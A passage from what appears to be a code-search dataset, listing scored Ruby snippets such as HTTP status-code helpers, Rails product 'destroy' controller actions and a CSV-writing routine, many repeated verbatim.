"score": "0.740307",
"text": "def http_status\n self[:status_code]\n end",
"title": ""
},
{
"docid": "bffdbff13a705bdba754a48ed68c56d1",
"score": "0.737949",
"text": "def status_code\n data[:status_code]\n end",
"title": ""
},
{
"docid": "a9a25b59c861b399e04f8cec148f33c2",
"score": "0.73754",
"text": "def http_code\n '000'\n end",
"title": ""
},
{
"docid": "f316e8221278d5f94e5d318d60526e58",
"score": "0.7372979",
"text": "def status_code\n @status_code || 500\n end",
"title": ""
},
{
"docid": "cf99942112adbd32e79e3d6d51b3bc00",
"score": "0.7368222",
"text": "def code\n Integer(error.status_code)\n rescue StandardError\n -1\n end",
"title": ""
},
{
"docid": "57587c0471a0d99d39bb7abbfe6c2b88",
"score": "0.7362106",
"text": "def response_status\n if @response_status.is_a?(Symbol)\n Rack::Utils::SYMBOL_TO_STATUS_CODE[@response_status]\n else\n @response_status.try(:to_i) || 200\n end\n end",
"title": ""
},
{
"docid": "e4ab287b833fd9876c1ad5ddf6cb6f10",
"score": "0.73611116",
"text": "def status_code; end",
"title": ""
},
{
"docid": "e4ab287b833fd9876c1ad5ddf6cb6f10",
"score": "0.73611116",
"text": "def status_code; end",
"title": ""
},
{
"docid": "e4ab287b833fd9876c1ad5ddf6cb6f10",
"score": "0.73611116",
"text": "def status_code; end",
"title": ""
},
{
"docid": "e4ab287b833fd9876c1ad5ddf6cb6f10",
"score": "0.73611116",
"text": "def status_code; end",
"title": ""
},
{
"docid": "e4ab287b833fd9876c1ad5ddf6cb6f10",
"score": "0.73611116",
"text": "def status_code; end",
"title": ""
},
{
"docid": "e4ab287b833fd9876c1ad5ddf6cb6f10",
"score": "0.73611116",
"text": "def status_code; end",
"title": ""
},
{
"docid": "e4ab287b833fd9876c1ad5ddf6cb6f10",
"score": "0.73611116",
"text": "def status_code; end",
"title": ""
},
{
"docid": "e4ab287b833fd9876c1ad5ddf6cb6f10",
"score": "0.73611116",
"text": "def status_code; end",
"title": ""
},
{
"docid": "e4ab287b833fd9876c1ad5ddf6cb6f10",
"score": "0.73611116",
"text": "def status_code; end",
"title": ""
},
{
"docid": "95f72024ed5e4fefaee3db935398bbf5",
"score": "0.7345379",
"text": "def ok_status_code\n 200\n end",
"title": ""
},
{
"docid": "49e9f9087ef10ddbdde5272d0c6a2363",
"score": "0.7333499",
"text": "def status\n response.status\n end",
"title": ""
},
{
"docid": "daa079fe309d8af34b9d043ae1812f97",
"score": "0.73262304",
"text": "def error_code\n @hash['response_code'].to_i\n end",
"title": ""
},
{
"docid": "1c5779918f16b979040257542e4976a1",
"score": "0.72924405",
"text": "def status\n if @response\n 'OK'\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "1c5779918f16b979040257542e4976a1",
"score": "0.72924405",
"text": "def status\n if @response\n 'OK'\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "1c5779918f16b979040257542e4976a1",
"score": "0.72924405",
"text": "def status\n if @response\n 'OK'\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "a8209076ad98906f38579f687b1cd6ba",
"score": "0.72862357",
"text": "def outputResponseCode(response)\n puts \"status code #{response.code}\"\n puts response\nend",
"title": ""
}
] |
176289defc2586b7cb851643874660db | DELETE /products/1 DELETE /products/1.json | [
{
"docid": "17b1b084808853ff73a25c2733bcab53",
"score": "0.0",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] | [
{
"docid": "2fa0a3656e86962ca1a10fa31aede189",
"score": "0.7657799",
"text": "def destroy\n @productos_json.destroy\n respond_to do |format|\n format.html { redirect_to productos_jsons_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6595000a0a4fe1a31ed9d19871a4101d",
"score": "0.76561046",
"text": "def destroy\n @product = Product.find(params[:id])\n \n if @product.destroy\n render json: @product, :status => :ok\n else\n render json: @product, :status => '500'\n end\n end",
"title": ""
},
{
"docid": "f4a31a9a8d373a29c6787b8d25e4a17b",
"score": "0.75675744",
"text": "def destroy\n\tid = params[:id]\n\tputs id\n\td_destroy = Product.find(id)\n\td_destroy.destroy\n\trender json: d_destroy\n end",
"title": ""
},
{
"docid": "c8fe28b7edd04e10b88cb2cffb9b57f8",
"score": "0.75554883",
"text": "def destroy\n # identify and retrieve the product you want to delete\n product_id = params[:id]\n @product1 = Product.find_by(id: product_id)\n #the action of removing the product from the db\n @product1.destroy\n render json: {message: \"You have deleted the product\"}\n end",
"title": ""
},
{
"docid": "8052f3e2bee2f439cad2a07771da047a",
"score": "0.7491094",
"text": "def destroy\r\n @product = Product.find(params[:id])\r\n @product.destroy\r\n render json: { status: \"success\", data: @product}\r\n end",
"title": ""
},
{
"docid": "a7decc36cbf95150961d75f3cd537188",
"score": "0.7468552",
"text": "def destroy\n @product.destroy\n\n render json: @product\n end",
"title": ""
},
{
"docid": "38f69a6fe310678df7a54185505e6aa6",
"score": "0.7446555",
"text": "def destroy\n if @product.destroy\n render json: { status: 200, result: :ok }\n else\n render json: { status: 500, result: :error }\n end\n end",
"title": ""
},
{
"docid": "97f10b60ce3e3581ca3d064e882fdb0e",
"score": "0.74364454",
"text": "def destroy\n @product1 = Product1.find(params[:id])\n @product1.destroy\n\n respond_to do |format|\n format.html { redirect_to product1s_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e53ace8fc336a1056c1a23938ee449bd",
"score": "0.7389663",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy \n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f0e1d8044b5550632d1c35a05ab1cdf7",
"score": "0.73478407",
"text": "def destroy\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c52c01d26b308b3fa9b8430b0edf8410",
"score": "0.73357344",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c52c01d26b308b3fa9b8430b0edf8410",
"score": "0.73357344",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c52c01d26b308b3fa9b8430b0edf8410",
"score": "0.73357344",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c52c01d26b308b3fa9b8430b0edf8410",
"score": "0.73357344",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c52c01d26b308b3fa9b8430b0edf8410",
"score": "0.73357344",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c52c01d26b308b3fa9b8430b0edf8410",
"score": "0.73357344",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c52c01d26b308b3fa9b8430b0edf8410",
"score": "0.73357344",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c52c01d26b308b3fa9b8430b0edf8410",
"score": "0.73357344",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c52c01d26b308b3fa9b8430b0edf8410",
"score": "0.73357344",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e0ad6e463189323c8bd24b9d5ab62176",
"score": "0.7333358",
"text": "def destroy\n Api.delete(\"#{BASE_PATH}/#{product_id}\")\n true\n end",
"title": ""
},
{
"docid": "081a880495d46153af1be6c1f38a3c59",
"score": "0.73327494",
"text": "def destroy\n @id = @product.id\n @product.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_products_path, notice: 'Product was successfully destroyed.' }\n\n msg = { :status => 200, :message => \"ok\", result: { id: @id } }\n format.json { render :json => msg }\n\n #format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.73308176",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee79dd61309c3a35b8d07072ff397e59",
"score": "0.7330636",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "12737c992f2a5447f985e77d1c2ba80f",
"score": "0.73293763",
"text": "def destroy\n @product = Product.find(params[:id])\n #TODO: should check product id here.\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73ed57ec9e63cdb0184118650c65f447",
"score": "0.7324349",
"text": "def destroy\n @product = Product.find(params[:id])\n\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73133886",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a32a42b256419bec807a0a6a21934116",
"score": "0.73131037",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "20b5a0eaba49d4d4f200dc8d557d85dc",
"score": "0.73101914",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "f6e413aa6075ccc35ccdd922998cc8f3",
"score": "0.7307251",
"text": "def destroy\n @product.destroy\n \n respond_to do |format|\n format.xml { head :no_content }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "323f3b31fbb5394ef661bb3e8d7380b1",
"score": "0.7301124",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "42bf3175515c95b46e532d1a345bf86b",
"score": "0.7300855",
"text": "def destroy\n product = Product.find(params[:id])\n if product.destroy\n render status: :ok , json: {message: 'Producto eliminado'}\n end\n end",
"title": ""
},
{
"docid": "60030cd54a23fc4bec0583d4d62991c4",
"score": "0.7300851",
"text": "def destroy\n #Finds selected product\n @product = Product.find(params[:id])\n #destroy product\n @product.destroy\n respond_to do |format|\n format.html { redirect_to '/admin' }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0c5f417cb950cd3ad1774a0e697920ec",
"score": "0.72823584",
"text": "def destroy\r\n @product.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to products_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "43a7326b34f312779bdd3c97ae7cb5c9",
"score": "0.72699475",
"text": "def destroy\r\n @product = Product.find(params[:id])\r\n @product.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to products_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "43a7326b34f312779bdd3c97ae7cb5c9",
"score": "0.72699475",
"text": "def destroy\r\n @product = Product.find(params[:id])\r\n @product.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to products_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "4c390940d7003f6e90273463a4a77a80",
"score": "0.7242891",
"text": "def destroy\n Product.find(params[:id]).destroy\n respond_to do |format|\n flash[:success] = 'Product was successfully deleted !!!' \n format.html { redirect_to products_url}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b1a17c1ee1af05c79fe156622df44818",
"score": "0.72407675",
"text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end",
"title": ""
},
{
"docid": "4407cb41cf8dbc6fb4da756cb9d61c41",
"score": "0.7229449",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4407cb41cf8dbc6fb4da756cb9d61c41",
"score": "0.7229449",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aec6f9aaad1dab99d2d9b3733336b044",
"score": "0.7227948",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7783bf34e3d3a8a806aa0fc7e251775c",
"score": "0.7225217",
"text": "def destroy\n uri = \"#{API_BASE_URL}/users/#{params[:id]}\"\n rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n begin\n rest_resource.delete\n flash[:notice] = \"Product Deleted successfully\"\n rescue Exception => e\n flash[:error] = \"Product Failed to Delete\"\n end\n redirect_to products_path\n end",
"title": ""
},
{
"docid": "9a0ea4dafe96d067b057da0da5a19b80",
"score": "0.722302",
"text": "def destroy\n @products.destroy\n respond_to do |format|\n format.html { redirect_to products_index_url, notice: 'Products was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "70c22d40c97171e0be1ca01078d98c46",
"score": "0.72171044",
"text": "def destroy\n product = Product.find(params[:id])\n product.destroy\n render json: {status: 'SUCCESS', message: 'Deleted coffee product', data: product}, status: :ok \n end",
"title": ""
},
{
"docid": "fd2d6e8ade6bdebb3f3f6fbd86d900ef",
"score": "0.72081095",
"text": "def destroy\n #PropertyValue.where(product_id:@product.id).delete_all\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e054c5ab840957befd4ee08991e03e61",
"score": "0.7206244",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to '/admin/' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ead6639560ea1d3d662c73e3d7018aa7",
"score": "0.72025377",
"text": "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_products_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
25f45501551180c553a4935c4316bb06 | Writes results from the performance harness to a csv file in the specified directory | [
{
"docid": "7e5f4444178f7e467674044c40f5166c",
"score": "0.6394494",
"text": "def write_to_csv (time, platform, browser_name, browser_version, build, counter, num_cases, delay, duration, rate, test_name)\n googledrive_path=\"Google Drive/CODAP @ Concord/Software Development/QA\"\n localdrive_path=\"Documents/CODAP data/\"\n\n if !File.exist?(\"#{Dir.home}/#{$dir_path}/#{$save_filename}\") || $new_file\n CSV.open(\"#{Dir.home}/#{$dir_path}/#{$save_filename}\", \"wb\") do |csv|\n csv<<[\"Time\", \"Platform\", \"Browser\", \"Browser Version\", \"CODAP directory\", \"CODAP Build Num\", \"Test Name\", \"Counter\", \"Num of Cases\", \"Delay (s)\", \"Time Result (ms)\", \"Rate (cases/sec)\"]\n csv << [time, platform, browser_name, browser_version, build, $buildno, test_name, counter, num_cases, delay, duration, rate]\n end\n else\n CSV.open(\"#{Dir.home}/#{$dir_path}/#{$save_filename}\", \"a\") do |csv|\n csv << [time, platform, browser_name, browser_version, build, $buildno, test_name, counter, num_cases, delay, duration, rate]\n end\n end\nend",
"title": ""
}
] | [
{
"docid": "60f4bb5d963720388c4d3485a269a4e6",
"score": "0.72749317",
"text": "def each_bench_to_csv\n @phoronix_dir.each do |phor_dir|\n @directories.each do |dir|\n end\n end\n end",
"title": ""
},
{
"docid": "26b523749b2dd74389ddf7956269acff",
"score": "0.7133642",
